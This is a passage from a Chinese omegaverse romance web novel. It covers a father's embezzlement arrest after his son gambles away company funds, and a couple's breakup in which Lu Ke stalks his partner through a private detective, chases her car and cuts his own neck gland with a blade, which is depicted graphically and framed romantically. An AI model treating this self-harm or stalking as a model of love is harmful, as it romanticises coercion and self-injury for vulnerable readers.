这话太轻太低,睡梦中的千述全然无知。 她做了梦,梦里在下雨,淅淅沥沥的落个不停,将千述的头发都打湿了。 千述有些头疼的看着身后,这个只是因为喂养了两次,就跟在她身后,喵喵叫着要跟她回家的小流浪猫。 她蹲下身,小流浪猫就走过来蹭她的腿,很乖。 千述好脾气的跟流浪猫商量:“我马上就要换一个城市工作了,没办法收养你的,你跟着我也是奔波受苦。你找别人好不好,找别的主人,他们肯定会有更好的猫粮喂你。” 小流浪猫仰头看她,眼睛圆滚滚的,好像听不太懂千述在说什么。 “算了,我跟你说这些干什么,你又不懂。”千述笑了一下,觉得自己有点傻。 她挠了挠小猫的下巴,随后站起身,往出租屋的方向走去。 而那只小流浪猫,就停在路灯昏黄的灯光下,静默的注视着千述离开的方向。 细密的雨丝落在它的身上,凉凉的,渗进骨缝。 ———————————— 贺诚军现在已经是焦头烂额。 厂建到后面,原本该拿出的钱,不翼而飞了。陈示跟他说的时候,贺诚军甚至以为他在开玩笑,五个亿的钱怎么可能没了。 “老陈,你早上没睡醒吗?”贺诚军现在还有心情慢慢悠悠的接杯咖啡。 “哎呀,不是!”陈示急得不行,“我最近准备开始买设备,才发现账上的五个亿,全部被挪走了!!” “这怎么可能?”贺诚军错愕,手中的咖啡没拿稳,杯子摔到地上,四分五裂。 他怒目圆睁,声音突然变大,道:“你说多少钱?!” “五个亿!目前公司90%的现金流。”陈示已经有点控制不住手抖了,这对千言而言简直是灭顶之灾。 “怎么会全部没有了,谁干的?”贺诚军像是焦躁蚂蚁,不断的在办公室走来走去,不住的念叨,“到底是谁干的。” 陈示也在绞尽脑汁的想,把能接触到项目资金的人在脑中搜索了一个遍。 突然他灵机一动猛地抬起头来,贺诚军也正看着陈示,两人目光对视。 “贺启流!”二人异口同声道 贺启流在赌场已经赌了七天七夜了,他甚至不用出赌场,因为这赌场还提供房间供赌客休息。 这七天里,贺启流大脑极度活跃亢奋,眼下青黑,完全没了半点清醒。被人连着开了很多大的赌注,一口一个贺少爷,这把跟吗? “跟!全部筹码都压上!”贺启流大手一挥,将自己面前的筹码全部推到牌桌中间。 可想而知,贺启流这局输了,兑的全部筹码都输光了。他还想赌,觉得下把绝对逆风翻盘。 赌场的人遗憾的说:“贺少爷,我们下场赌注开得大,您目前的筹码可能不够,需要给您继续兑换吗?” 就这样,贺启流被半哄半骗的,将能接触到的项目资金全部都拿来赌了。 等贺诚军和陈示在赌场找到贺启流的时候,贺启流已经把手里的钱快输光了。 他连眼睛都熬得睁不开了,还能在牌桌山大喊:“这把我跟了!” 贺诚军看到这一幕,简直血压飙升,感觉马上就要心梗了。他忙把准备好的速效救心丸咽下去。然后气急败坏的将贺启流从牌桌上拽下来,拖出去。 等贺启流清醒过来已经悔之晚矣,贺诚军好像瞬间就老了二十岁。 “你知不知道,你这次赌了多少钱,五个亿,那是五个亿!!”贺诚军将桌子拍得震天响,他气得额头青筋暴起。 “我为什么会生了你这个孽障,生了你这个孽障!你这是想要害死我啊!”贺诚军扬起手就给了贺启流重重一巴掌。 贺启流被打得脸偏过去,瞬间脸上就浮现出巴掌印。贺启流梗着脖子道:“钱我已经输光了,大不了你杀了我!” “你——”贺启流气得喘不上气,他捂着胸口。 陈示忙过来扶他坐下,劝慰道:“老贺,我们只能再想想别的办法,想想别的办法。” 可是祸不单行。 还没等贺诚军去银行贷款,把这笔钱补上。陆氏那边又开始爆雷。 之前做好的一批车灯,还没安到陆氏旗下的汽车上,就被检测不合规。陆氏那边检测严格,发现千言发过来的这批车灯会出现时而短路的情况。 于是交上去的第一批车灯全部被退了回来。后面的批次,因为工厂的搁置迟迟交不上去,千言面临着违约,陆氏集团要取消合作并且起诉千言。 贺诚军宛若天塌一般,他亲自去请陆凌风,多次去陆氏集团,想要赔礼道歉,让陆凌风能够行个方便,宽限一段时间。 但是贺诚军连陆凌风的面都见不着了。 董事会那边已经对贺诚军有了诸多不满,想要召开董事会议,要将贺诚军罢免。 这个会议被贺诚军勉强按下了,他跟董事们私下说:“再给我一点时间,我一定能想到办法。” 董事们勉强答应。 贺诚军只是嘴上说说,他其实根本想不到什么办法。他在公司简直急得团团转,一瞬间白了头。 看起来苍老了太多太多。 不期然的,他想到了千述这个名义上的女儿。 跟陆氏牵头的就是她,让千述去当说客,替贺诚军说说情,肯定比贺诚军本人去,有效果得多。 “千述!让千述来办公室!”贺诚军大声道。 助理小心翼翼的打开门,他被公司内低压的氛围搞得大气都不敢喘:“贺总,千述今天没来上班。” “什么?千述没来?!”贺诚军的面色突然变得十分难看 千述当然不会去上班了,千言集团山雨欲来,人人自危。 有董事私下已经动了心思,想把 手里的股份卖了,赶快套现离场,但是没人买。 千言在贺诚军手里,一日不如一日,董事会一个个精着呢,都看在眼里。现在又资金爆雷,能早点走就早点走。 现在手里握着的股份宛如烫手山芋。 千述不出面,贺诚军也联系不到她。董事会的股东,个个犹如才狼虎豹,紧盯着贺诚军。 最后贺诚军实在按不住,这个董事大会还是开了。 贺诚军被踢出了董事会。 他当初为了来A市,让公司走得更远,卖掉了公司的一部分股份,拉到了很多投资,想以此大显身手。 没想到最后都赔了,且他手中的股份被稀释不少。 贺诚军自然不能接受这个结果,千言本身就是他的,怎么可能被踢出自家公司。 他赖在办公室不肯走,公司群龙无首,保安也不敢来拉他,只得僵持着。 公司里很多员工都离职了,办公室空荡荡的,很多工位空了下来,远没有以前热闹。 “小李,你今天也走啊?啥时候提的离职啊。”还没想好辞职的员工,左右看了看,工位上都没人。 小李收拾着工位上的东西,小声道:“前两天跟人事提交的离职报告,现在不走,感觉这个月工资都发不出来了。听说公司账上早就没钱了。” “那你找好下家了吗?”同事问道。 “找好了呀,让我后天去入职。”小李回答。 同事羡慕,他年纪大了,不敢随随便便离职,比不得年轻人:“还是年轻好,想走就走。你收拾东西吧,不打扰你了。今晚聚个餐,吃个散伙饭。” 公司飘摇,员工们也无心工作,低头窃窃私语。公司的尽头,贺诚军的办公室里,传来巨大的怒吼声。 员工们纷纷抬头望去。 “我凭什么走!这是我的公司,这是我的产业!凭什么让我走!”贺诚军坐在办公室,脸红脖子粗,大声怒斥道。 “贺总,您也别让我们为难,这也是上面决定的,我们只是执行工作。”保安劝道。 贺诚军猛拍桌子,道:“是谁!是谁让你们把我赶走!名字说出来,我亲自去问问他,是谁这么大胆子!!” 这完全就是在胡搅蛮缠了,保安真的很为难。 正当这边僵持的时候,办公室里来了一群高大的警察。 “我们是公安机关经济犯罪侦查部门的警察,依法执行公务,请各位配合。” 在场几乎所有人都懵了,十分错愕,不懂为什么会有警察上门。 穿着警服的女alpha上前一步,身姿笔挺,锐利的视线巡视周围,问道:“谁是贺诚军?” 办公室里没人讲话,陷入死一般的寂静。 保安颤颤巍巍的指了一下坐在办公椅上的人:“是他。” “铐起来,带回去。”女alpha手一动,身后的几个警察立刻上前,把贺诚军的双手铐住。 贺诚军反应过来,立刻开始剧烈挣扎,大声道:“你们凭什么抓我,你们有什么资格抓我!我要投诉,我要投诉!!” “贺诚军,因你涉嫌职务侵占罪,现依法对你执行逮捕。这是逮捕证,请你确认。”女alpha拿出逮捕证,让贺诚军看了一眼。 贺诚军的大脑仿佛被狠狠撞了一下,瞬间变得清醒。那是太久远的事情,远到贺诚军以为,这辈子都掀不起波澜。 他看着警察,颤声问道:“是谁?谁举报的我,是谁?” 女alpha瞥了他一眼,正色道:“你无权直接索要举报人身份。” “把人带走。”女alpha严声道。 ———————————— “贺诚军那边委托了律师调查取证,他认为存在诬告,所以一直不认罪。”办公室里,蒋屿语气温和道。 千述平静道:“他不认罪有什么用,证据确凿,等着后续开庭。” “以他过往侵占的数额来看,数额特别巨大,会面临十年以上的牢狱之刑。不过他如果积极退赃退款,会减轻处罚,这个你清楚吧。”蒋屿道。 千述点头,道:“这个我明白,不过时代发展很快,等他出来估计也翻不了什么天。” “那就好。”蒋屿微笑。 “那你后面的打算了,你是打算接手你母亲的公司,继续发展吗?”蒋屿又问道,盈盈笑眼看着千述。 “可能会重整公司业务。”千述语气很淡,她抬眼看着远处的车流,“事情结束后我会离开A市。” “离开A市?”蒋屿反问道,他没想到千述是这个回答。 蒋屿语气有些急:“为什么要离开A市呢,你没有必要离开的,A市在科技产业的扶持力度很大,机会也多,你完全可以” “我想离开了。”千述认真道,她似乎有点累,又低声重复了一句,“我想离开了。” 蒋屿张了张嘴,又不知道要说什么。良久,他才开口道,语气仍旧温和:“千述,跟着你的心走吧。” 千述离开办公室的时候,再次像蒋屿表示了感谢。蒋屿帮了她很多,后面还会以千述的代理律师出庭,千述是真的很感谢他。 蒋屿看她礼貌客气的样子,特别无奈:“你是我的客户,早就付过费用了。” 甚至千述还是以高出市场价的律师费请他出庭的,帮助只是客气话,其实就是雇主和律师的关系 千述回去的时候,在地下车库待了很久,她不太想上去,也不知道要怎么面对陆恪。 贺诚军被抓的第二天,陆凌风跟千述通过话,他道:“千述,你让我做的,我已经全部做了。你答应我的,也希望你能履行承诺。” “千述,你如果对陆恪有一点喜欢,你就放过他。”陆凌风的声音从手机里传来,不知道为什么,就变得特别遥远模糊,就像从天际传来的声音。 “其实你自己也清楚,beta和alpha在一起并不合适。” 千述坐在车里,眉心微蹙,深深的吐出一口气 千述在车里坐了将近一个小时,等她上楼的时候已经有点晚了。 打开玄关的门,屋里安安静静的,只有沙发上坐着的身影。千述走进客厅,看到餐桌上空空如也。 “你吃饭了吗?”千述看向陆恪,问道。 千述的声音在安静的空间里很清晰,但是听在陆恪耳朵里,就像炸开一样。他猛地直起身,将手机藏在身后。 陆恪脸色白得有些吓人,眼皮又红红的,面色很差。 千述皱了皱眉,又问了一句:“你吃饭了吗?” “我,我现在就去给你做饭。”陆恪将手机揣在兜里,很慌张的路过千述,声音有点颤。 明明千述就是问的他有没有吃饭。 千述拉住他的手腕,无奈道:“不用麻烦了,我现在不饿。” “不。”陆恪抬眼看着千述,眼睛里的湿意都快藏不住了,他很倔强,“我一定要做。” 千述看着那双湿红的眼眸,妥协了:“随你。” 千述没有跟陆恪多纠缠,径直去卫生间洗漱。她其实心里也很堵,所以并不想说太多的话。 厨房里,陆恪在切豆腐,然后思绪落在了今天收到的照片上,私家侦探给他发来的照片。 很多照片,远景近景,从见面,再到吃饭,然后进了车内,一直没出来。看侦探发来的记录时间,他们在车里呆了半个小时以上。 哦,还有一张,千述摸那个omega的脸。 厨房的 光映在陆恪惨白的脸上,就好像把全身的血色抽离,只剩下苍白的面容。 他机械性的切着手里的菜,心脏却绞痛着,每一次跳动都像在用尖锐的刺扎在心脏上。 指尖突然传来刺痛,猩红的血争先恐后的从破裂的皮肤涌了出来,滴落在白色的豆腐上。白色和红色形成极致的对比,刺得陆恪眼睛发酸。 千述一从卫生间出来,就看到菜板上全是血,豆腐都给染红了。而陆恪呆愣愣的看着,没有一点反应。 “你愣着干什么!你手受伤了不知道痛的吗?!”千述快速上前,拽住他的手,放下他手里的刀。 她语气有点急,听着就很严肃,有点凶。 千述把陆恪安顿在沙发,找出医药箱,用生理盐水给他冲洗,又用碘伏消毒,再用创可贴给陆恪的手指包住。 陆恪看着千述垂着的眼睫,她很认真的给他包扎,眼中只有他。 陆恪眼中的热意涌了上来,他吸了吸鼻子,哑声道:“千述,我疼。” 第62章 第62章虐 今天的天气一般,天气预报说可能会下雨。 “周日也要出去吗?”陆恪问道。 他看着千述往门外走的背影,目光沉沉,黑得深不见底。 “嗯。”千述随口道。 “还是工作上的事情吗?”陆恪继续追问,似乎很感兴趣的样子。 千述脚步顿住,转过身,与陆恪的目光相接。陆恪这段时间苍白太多,就像是被雨打落在泥土里的花。 “不是。”千述看着手机里蒋屿发来的消息,他说他已经出发了,“是我的私事。” 明天贺诚军的案子就要开庭了,今天千述要跟蒋屿最后讨论一下开庭时用到的材料。 陆恪突然笑了一下,有点勉强:“原来是私事啊。” “是我可以知道的私事吗?”他走到千述面前,直直的看着千述的眼睛,问道。 千述没答。 陆恪又不想问了,他主动献上了自己的吻,与千述唇齿相依,舌尖勾缠。 这个吻很凶很急,就像是走投无路的猎物绝望时的发泄。 千述吃痛,蹙了蹙眉。 她睁眼看着亲吻自己的人,陆恪的睫毛轻颤,抖得厉害,泄露出主人的心绪并不平静。 千述反客为主,把陆恪抵在玄关的镜子上,强势掠夺陆恪的呼吸。陆恪一下子就软了下来,就像是丢失掉所有的气性,只想要紧紧的攀附着千述。 良久,这个吻才结束,陆恪重重的喘息:“那你早点回来。” “好。”千述又碰了碰陆恪红肿的唇 今天的天气实在不好,千述出门的时候外面天阴的很,乌云如墨压在城市上空,将整个城市笼罩其中。 雨还没落下来,风是暴风雨的前兆。 街道上行人脚步匆匆,大家都在寻找遮蔽的地方,来躲避这场即将到来的暴雨。 千述下车的时候,风把她的头发吹乱。她走进咖啡厅大门,往里面走去。 “实在不好意思,等很久了吗?” “来的时候,路上发生了交通事故,赌了一段时间。”千述走到靠窗边的餐桌上,坐下,歉意问道。 蒋屿看向她,笑道:“没有等很久。” “给你点的咖啡,店里的新品,尝尝看适不适合你的口味。” “谢谢。”千述平和道。 礼貌的交际环节结束,剩下的时间他们一直在讨论案件的重要点。 大多数时候都是蒋屿在说,把出庭的流程,法官问话时要怎么回答,陈述时的表达技巧,一一讲给千述听。 咖啡厅里很安静,现在没几个人。千述很认真的听着,偶尔会有一点疑问,蒋屿都会很耐心的给她解答。 蒋屿年纪比千述大,工作经验比千述多。在蒋屿看来,千述是需要被照顾的。 两个人都是很体面的人,所以关系只能走到朋友这一步。 雨开始下了,很大一颗的雨滴坠落在地上,接二连三的,变得越来越密集,最后形成瓢泼大雨。玻璃窗被雨水拍打着,形成水痕,蜿蜒而下。 风肆虐的刮着,将树吹得左摇右晃。狂风夹杂着暴雨,宛如世界末日一般。 两人的探讨告一段落,蒋屿看着外面下的大雨,有点苦恼:“怎么下这么大的雨,估计路上又有积水,挺麻烦的。” 对于工作的社畜而言,下雨并不算一件好事,会为他们的通勤增添很多负担。 两人在咖啡厅坐了很久,雨下太大了,两个人都走不了 一个小时以后,暴雨开始有停歇的趋势。现在是下午,因为下了雨,道路上全是被风吹落的树叶。 暴风雨过后,并没有喜闻乐见的雨过天晴。天气依旧很阴,并且随着傍晚的降临,天色慢慢变暗。 “走吧,雨差不多停了。”千述起身道。 蒋屿跟在她的身边往外面走去。 五点过后,A市就开始迎来下班高峰期,又加上下了雨,路况一般,现在正是最难打车的时候。 “你怎么回去?”千述问道。 “我打车或者坐地铁。”蒋屿回答。他的车送去保养了,今天是打车过来的。 千述点头道:“行。” 千述陪着蒋屿在路边等车,但是等了十分钟接单的车都没到,被堵在了路上。离这里最近的地铁站也有好几公里。 “干脆我送你回去吧,我今天开了车来。”千述直接道。 蒋屿没有推辞,温和笑道:“那麻烦你送我回家了。” “一点小事。”千述无所谓道 这还是蒋屿第一次坐千述的车,他坐在副驾驶上,千述手握着方向盘,目视前方。 两个人都不是话多的人,车内的氛围安静。 蒋屿住的地方不在市中心,要稍微偏一点。哪怕他如此优秀,名校出身,红圈律师,在A市打拼多年,也没有能力全款在A市买下一套房子。 这很现实。 出了市中心就没那么堵了,道路通畅了很多,道路上的车辆少了一些。 千述瞥了眼后视镜,眼神微沉,她油门一踩,车速瞬间快了很多。 蒋屿感受到车速的变化,转过头来,问道:“怎么了?” 千述面不改色,眼神落在前方,平静道:“后面跟了一辆车。” 蒋屿神色严肃了些,他看向后视镜,一辆陌生的奔驰E,很大众普通的款,混在车流里根本没人注意。 “这辆车我不认识,我没见过这个车牌号。”蒋屿正色道。 他没忘记之前因为案子,被嫌疑人家属跟踪,差点在停车场丧命的事情。 “嗯,我知道。”千述道。 她又瞥了一眼后视镜,身后的这辆车,从咖啡厅出来后,就一直跟着他们。刚开始千述也没注意,是后来车流少了,才发现这辆跟在身后的车。 “坐稳了,我要甩掉它,可能速度有点快。”千述语调平直,眼神冷静。 下一瞬,车辆犹如离弦之箭,冲了出去。后面的车也紧紧跟了上来,死咬着不放松。 这边车流量少,路上不拥堵。右转道,千述猛打方向盘,拐进了另一条路,又迅速回正,油门往下踩。后面的车也很迅速的转弯,跟了进来。 无论是千述往哪里走,后面的奔驰E就是甩不掉,如影随形。 千述轻轻“啧”了一声,心里有点不耐烦了。 她没兴趣跟人玩碰碰车,当然,千述也不可能做出这样鲁莽的事情。导航显示离目的地还差500米,蒋屿的家要到 了。 路灯早就亮了起来,夜幕笼罩着城市,空气里弥漫着一层薄雾,凉凉的。 身后那辆奔驰E突然加速超车,疯了似的将千述的车别停。 千述猛踩刹车,车辆急刹,停在原地。 “有毛病!疯子。” 蒋屿这么好的脾气都忍不住怒骂一声。 千述看着从车里下来的,熟悉的修长身影,面色越来越冷,眼若寒芒,没有半点情绪。 “呵,”千述冷笑一声,继续道,“真有意思。” …… 千述总说她工作很忙,很晚才能回来。陆恪心中虽觉不安,但还是选择相信她。 可是有一天,千述的身上带回来了omega的气息。 是那种雨后清晨,栀子花的香味。 陆恪闻着简直想吐。 但是千述似乎没有注意到这些,也可能是她就算注意到了,也无所谓。陆恪不知道她是怎么想的。 因为千述无论是如何想的,陆恪都没法接受她身边有了别的omega的事实。 很昏暗的房间里,手机屏幕的光映在陆恪的脸上,惨白的,没有血色的。 私家侦探给他发来消息:“老板,这是今天拍的照片,请查收。” “对了,这个周末还跟吗?” 许久,陆恪才回复:“不用。” 照片已经很多了,全是千述和那个omega的。 刺得陆恪的眼睛又痛又酸,快要落下泪来,又很努力的憋住。 他们频繁的约见,在咖啡厅,在餐厅,甚至今晚又要去哪里见面呢?去那个omega家里吗? …… 车窗降下来,蒋屿坐在千述旁边,那本来是他的位置。 陆恪很难控制住内心的嫉恨与酸涩,他面色苍白,眼尾却泛着红。陆恪轻轻吸气,道:“千述,他就是你说的私事?” “你的私事是跟omega约会,晚上再跟omega一起回家吗? “你跟踪我?”千述面无表情反问道。 “如果我不跟着,我怎么会知道你被这个贱人缠上了!”陆恪突然大声,带着怨,眼泪一下就落了下来。 千述的冷淡让陆恪绷不住情绪,他就像骤然崩溃一样。 “他明明知道,明明知道我们在一起了,还要三番五次的勾着你,他怎么这么不要脸!这么的恬不知耻!” 眼看着陆恪情绪控制不住,话越说越难听,千述直接把车窗升起来,车内瞬间安静下来。 “可能没办法送你到门口了。”千述看向蒋屿解释道。 蒋屿看了眼车窗外的人,好脾气道:“没事,这段路我自己走,反正不远。” “嗯。”千述点头。 她顿了一下,又开口道,“他今天误会了我们的关系,说话有点伤人,我替他向你道歉。” 千述语气有点无奈,还有一些她自己都没发现的宠溺和纵容。就好像是那种为闯祸的心肝宝贝兜底的主人。 可千述原本是一个情感很淡薄的人啊。 蒋屿怔了一下,面色变得复杂,难以看清。他想笑,又太勉强,嘴角落了下来。 “千述,我挺羡慕他的。” …… : 家里很黑,很静,没有开灯。 刚进玄关的时候,千述才打开玄关的灯,alpha温热的身体不管不顾的缠上来,很急切的吻落在千述的脸上。 千述心里的火一下子就冒上来了,她用力推开陆恪,抬手,一巴掌重重扇在陆恪脸上。 清脆的耳光声在寂静的屋子里炸开,千述用了全力,陆恪的直接被扇得偏过脸去,脸上很快就浮上红印。 “你想去死,别拉着我和别人!” 这是千述第一次,用如此严厉的语气跟陆恪讲话。 她今天实在是太生气,陆恪胆子大,又疯,性格偏执,追车这样的事都做的出来。如果发生意外,那可是会出人命的! 空气瞬间凝滞。 寂静的空间里只剩下了两人有些重的呼吸声音。 陆恪一直偏着头,白皙的侧脸上,红色的印子太显眼了。 良久,陆恪扯唇,低低的笑了起来,这笑声在空荡的房间里听起来有些诡异。 “是!我就是想去死!” “千述,你感情游离的每一秒,我都想去死!你为什么要让我发现,你为什么不把你身上的omega气息处理干净再回来!” 陆恪抬起头,边笑边说。他死死的盯着千述,滚烫的眼泪猛地滑落,很大颗的泪。 “千述,你还要怎么伤害我?要把那个omega带回来,带到我面前,一起伺候你吗?我不是外面的小三,没办法大度的跟别人共享你的爱!” 陆恪的情绪太激烈,简直越说越离谱了。 千述从没有哪一刻像现在这么累过,甚至疲惫到对陆恪的眼泪都升不起任何怜惜。 以前每次,陆恪一哭千述就会心软的。但是现在,千述只想赶快离开这里,离开这个矛盾的漩涡。 千述转身就走,她甚至不是回卧室里,而是退出这个房子,离开云栖御庭,她想冷静一下。 陆恪猛地拽住千述的手,死死捏住,语气控制不住的颤抖着:“你要去哪里?你现在想去哪里!” “我需要冷静一下,重新思考我们的关系。”千述直视着陆恪的眼眸,终于将埋在心里的话说了出来。 一瞬间陆恪如坠冰窖,寒冷从心脏不断蔓延,沿着四肢百骸到达身体的所有地方,陆恪的脸瞬间就白了下去。 “重新思考我们的关系?”陆恪不可置信的看着千述,声音轻的快要听不见。 这段时间,陆恪都不知道哭了多少次了。他原本是一个多么倨傲的alpha,困在感情里,也成了一个可怜人。 当第一句话说出口后,千述心里那些沉重的负担,好像突然就卸了下来。她张口,再没有任何的滞涩,越来越轻松。 “陆恪,我想你误会了我和蒋屿的关系,我并不喜欢omega。当然,我也不喜欢alpha,准确来说,beta和AO在生理上都不匹配。” 那些在千述脑海里已经打了很多遍腹稿的话,很流畅的被说了出来。 意识到千述接下来要说什么,陆恪苍白着脸,拒绝道:“你别说了,我不想听。” 但是千述没有停下来,她现在已经没有耐心慢慢的将这团情绪的乱麻解开,只想着一刀将其斩断。 “你每次易感期都很难受,我实在感到抱歉。我身为beta,没有办法给你提供什么帮助,这是我作为伴侣在恋爱中的失责。” “你别说了求你别说了。”陆恪声音颤抖,甚至说不出一句完整的话。 “想必你已经知道,我和你父亲达成的协议。我利用了你,我的感情并不高尚,答应离开也是我的自主选择。” “我不是一个很好的人,也愧对你如此深厚的感情。陆恪,我并不值得你的喜欢。” “闭嘴!我让你别说了!” 陆恪眼尾红得要命,嗓音几乎嘶哑,他甚至是带着恨意的看着千述。 千述的话被打断,看着陆恪的泪眼,她张了张嘴,那些冷心冷情的话说不出口了。 陆恪实在是受不了内心汹涌的感情,受不了千述的冷漠,他几乎想把心剖出来给千述。 “千述,我不是今天突然变成alpha的啊!” “我们第一次见面,你就知道我是alpha的。你如果嫌弃我是alpah,你如果不喜欢alpha,为什么还要来招惹我!” “是你,你要来追我,你让我在下面。我现在变成这个样子,你一句beta和alpha不合适,说不要我就不要我了?!” 千述沉默:“对不起。” “我不要你的对不起!”陆恪声音陡然变大,哽咽着。 “我要的不是你的道歉,我要你爱我!” “千述,如果只是因为alpha的原因就要分开,我不会同意的。”陆恪的语气带着病态的偏执。 陆恪抚摸着千述的脸,眷恋的低头亲了亲她的唇,眼泪落在她的脸上。 “千述,我可以不成为alpha的,我可以不要腺体。千述,这并不能成为我们的阻碍。” “什么?”千述错愕,没懂陆恪是什么意思。 下一瞬。 千述呼吸一滞,瞳孔骤缩。 “不要——” 鲜血已经从陆恪的后颈腺体争先恐后的涌了出来,白皙的后颈变得鲜血淋漓,无数alpha信息素顺着血液释放出来,铺天盖地。 他不知道什么时候藏的刀片,没有丝毫犹豫的划过自己的后颈。腺体刺痛,比任何的疼痛都要来得剧烈,让陆恪站立不住,直接跪倒在地。 千述立刻接住他。 她几乎是手忙脚乱的捂住陆恪的后颈,想让鲜血停止,但又是枉然。千述手上沾满了猩红的血。 “你疯了,你真的疯了,陆恪,你简直是疯子!!” 千述已经没办法思考,那猩红的血刺得她丢失了冷静。她忙翻找着包里的手机,哆哆嗦嗦的开锁。但是手上沾着血,很困难才识别了指纹。 陆恪又回到了千述的怀里,实在是久违的 属于千述的气息,让陆恪又憋不住眼中的泪意。 他吸了吸鼻子,更深的埋在她的怀里,很依赖的,轻轻蹭了蹭,又变得乖顺。 “千述千述,你别丢下我好不好,我害怕。”陆恪喃喃道,声音很轻。 他的意识已经不太清醒,他后颈很痛,伤口割得太深,力气也随着鲜血不断流失,陆恪的眼睛慢慢闭上。 温热的泪沿着他的眼角滑落:“千述,我害怕。” “别害怕,你别怕。”千述的手抚摸陆恪的脸,颤抖着给他擦掉眼泪,“我现在送你去医院,你一定会没事的,乖,别怕。” “您好,这里是120急救中心,请问需要什么帮助?” 第63章 第63章别让我为难 夜晚的医院依旧人来人往,尤其是急救室,多得是慌慌张张,不知所措的人。 千述也是其中之一。 陆恪已经被推进了急救室。 因为腺体受伤,alpha信息素不断泄露,医生给他用了信息素阻隔剂,立刻就把人送到医院。 在救护车上的时候陆恪已经陷入了昏迷,不省人事,后颈的鲜血把他的衣服染红,很刺眼。 他闭着眼,脸色白得有些吓人,眼睫阖上,投下一抹淡淡的阴影。 苍白,脆弱。 今天也不知道是怎么回事,可能是下午的那场大暴雨,或者是别的,总之今夜来急救的人特别多。医护人员忙不过来,脚不沾地,得不到一点歇息 急救室里哀嚎声,痛哭声,焦急的质问声,哭天抹泪,就跟魔音穿耳似的,嗡嗡嗡的在千述耳边响,吵得千述头疼。 千述守在陆恪的床边,女beta外表看着还算冷静,但其实她衣服上,手上,到处都是血,很狼狈。 才刚推进急救室,就有医生来给陆恪做检查。 看到他后颈腺体上的伤痕,血肉模糊,医生倒吸一口凉气,道:“天,怎么把腺体伤得这么严重!” 陆恪的伤很重,又伤在腺体,十分危险,急救医生面色凝重。他检查了一下,立刻打电话摇人。 “伤口的位置太危险,伤的太深,这边解决不了,需要请腺体科的医生来看。” 很快,急救室就来了一位腺体科的医生。他一看陆恪的伤口,眉头紧皱,立刻道:“哎呀!这必须要尽快做手术,耽误不得。” 陆恪立即就从急救室,转到了三楼的手术室。 手术室相比于急救室,要寂静得多。走廊上几乎没有人走动,冷清而肃穆,惨白的灯光照在空荡荡的走廊上,很压抑的沉寂。 有医生手术室里出来,道:“谁是病人家属,过来签字。” 千述一直守在手术门口,闻言正准备上前。 身后突然传来凌乱急促的脚步声:“我是病人家属,我是病人家属!” 千述和护士都往后看去。 陆凌风,时谨,还有一个看起来五十多岁的女性beta。 陆凌风在一旁急匆匆签名,而医生却看着一旁的年长的女beta,神情肃然,正色道:“院长,您怎么来了?” 这位女beta是A市第一人民医院的院长,徐慈慧,同时她也是腺体医学的泰斗。 “这个手术我来做,病人情况如何?”徐院长问道。 医生回答,神情凝重:“病人情况很糟糕,腺体被贯穿性切割,造成了不可逆的损伤。只能尽量修复,手术成功率低于50%” “什么?!”陆凌风如遭雷劈,神情惨淡,“怎么会这样” 腺体不可逆损伤,成功率低于50%,无论是哪一点在陆凌风听来,都犹如天塌一般,难以接受。 千述也怔在原地,敛着眼睫,手垂在身侧,蜷缩着。 时谨还算冷静,跟医院这边交谈。毕竟是陆氏集团的大少爷,院长都要亲自来给陆恪做手术。 很快,徐院长就进了手术室内。 走廊又恢复了寂静,死一般的寂静。 手术室外,陆凌风不停的走来走去,一刻也没办法停下来,跟热锅上的蚂蚁一般。时谨也陪在一旁不说话。 千述垂着眼眸,面色有些空白,她一直都站在手术室外面,甚至没有去坐一下。千述手上的血还没来得及洗,变成暗淡的红褐色。 满手的血,看着有些骇人。 陆凌风突然快步走到千述面前,他神情愤怒,甚至有些狰狞: “千述,你当初是怎么答应我的!你说你会离开他,你看看现在变成什么样,你看看……” 陆凌风急得话都说不下去了。 他不仅仅是生气,还有作为父亲的着急,担忧,恐慌,害怕,很多种情绪杂糅在一起,形成了现在的坐立不安。 千述抿着唇,没有为自己解释,垂着的指尖却在细密的颤抖。 时谨来拉陆凌风,劝道:“老陆,现在说这些也没用,事情已经发生了,安静等手术结果吧。” 手术棘手,到了凌晨一两点还没结束,快5个小时了,时间好像突然变得缓慢。 走廊变得更加沉默,夜很深,很冷,就好像要冷进人的骨头缝里 天快亮的时候,天空呈现雾蒙蒙的灰白色。 今天也是一个坏天气,很阴沉。 手术室的门打开,徐院长出来的时候,三个人都同时走上前去,神色紧张的看着她。 徐院长笑道:“手术很成功,腺体暂时保住了。” 话音落下,陆凌风心里的大石头落地。 “手术成功就好,成功就好!”陆凌风脸上的表情很滑稽,哭也不是,笑也笑不出来。 徐院长继续道:“后续还需要继续观察,不清楚是否会有后遗症。病人没有苏醒,需要住在重症监护室,清醒以后,再转到普通病房。” “那我们能去探望吗?”时谨问道。 “不可以进去,只能透过重症监护室外的玻璃看几眼。”徐院长摇头道。 时谨和陆凌风跟徐院长交流了很多,全是关于陆恪后续的问题,千述都没再管了。 听到手术成功以后,千述才有灵魂不再漂浮的劫后余生感。她重重的喘了口气,很慢很慢的扶着椅子坐下, 千述清瘦,在空荡的走廊里,身影更显单薄。 她微微摊开自己的手,愣愣的看着。 手上全是暗红的血,到现在她好像还能感受到鲜血的温热,腥黏。 无论怎么努力,也无法阻止血液从陆恪的身体里流失,这种感觉实在是让人惶恐又无措 心电监护仪发出很规律的“滴滴”声,病房里很静,静到让人的心里发慌。 陆恪缓缓睁开双眼,看着白色的天花板。今天竟然是个好天气,阳光透过玻璃窗落在地板上,清透干净。 他已经昏迷三天了。 其实手术出来后的第二天下午,陆恪就迷迷糊糊的睁开了双眼。医生护士很快就给他做检查,记录他的身 体数据。 但是陆恪太累了,累得没有再次睁开眼的力气,又晕了过去。 等他再醒来,已经是三天后,他人回到了普通病房。 陆恪睁开眼,很艰难的转头,往病房里看去。病房里只有看护,在偷偷打瞌睡,再没有别人。 也没有千述。 陆恪很难形容此刻的心情,就好像心脏突然漏掉一拍,然后被狠狠绞紧。 “千述千述” 陆恪根本发不出声音,哪怕他用尽全力,喊出来的也只是嘶哑的气音。 守在床边的看护听到这点声响,突然就醒了,急忙睁开眼:“您醒了?我现在去叫医生。” 在办公室里询问医生注意事项的陆凌风听见陆恪醒了,急忙跑回来,医生跟在他的身后。 病房里一下子涌入了很多人,围在陆恪床前,拥挤嘈杂,陆恪望去,医生,护士,看护,陆凌风。 可是没有她。 没有千述。 怎么可以没有千述! 陆恪几乎是挣扎着要起来,可是他太虚弱,痛得根本没力气起身。 陆凌风连忙制住他,急道:“你现在不能随便乱动!” “千述呢?”陆恪死死盯着父亲,哑着嗓子问道。 